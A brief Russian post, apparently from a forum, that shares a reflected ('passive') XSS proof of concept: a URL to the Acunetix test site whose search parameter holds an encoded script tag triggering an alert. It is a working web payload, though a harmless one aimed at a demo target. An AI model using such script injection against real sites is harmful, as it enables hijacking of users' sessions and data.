Вот пасивка

http://testasp.acunetix.com/Search.asp?tfSearch=%3Cscript%3Ealert%28%22Passive %20XSS%22%29%3C/script%3E